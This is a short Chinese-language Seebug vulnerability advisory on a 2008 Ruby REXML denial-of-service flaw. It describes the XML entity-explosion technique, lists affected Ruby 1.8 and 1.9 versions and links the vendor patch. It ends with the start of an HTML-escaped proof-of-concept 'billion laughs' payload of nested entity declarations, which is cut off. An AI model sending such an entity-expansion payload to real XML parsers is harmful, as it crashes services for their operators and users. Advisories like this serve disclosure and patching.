Ruby REXML库远程拒绝服务漏洞

2008-08-26T00:00:00
ID SSV:3911
Type seebug
Reporter Root
Modified 2008-08-26T00:00:00

Description

BUGTRAQ ID: 30802

Ruby是一种功能强大的面向对象的脚本语言。

Ruby使用REXML库解析入站的XML请求,如果用户受骗访问了恶意网页的话,攻击者就可以使用一种称为XML实体爆炸(entity explosion)的技术远程关闭任何解析XML的应用程序,包括Ruby和Ruby on Rails。

Yukihiro Matsumoto Ruby 1.9.x Yukihiro Matsumoto Ruby 1.8.x Yukihiro Matsumoto


目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

<a href=http://www.ruby-lang.org/security/20080823rexml/rexml-expansion-fix.rb target=_blank>http://www.ruby-lang.org/security/20080823rexml/rexml-expansion-fix.rb</a>

                                        
                                            
                                                &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE member [
  &lt;!ENTITY a &quot;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&quot;&gt;
  &lt;!ENTITY b &quot;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;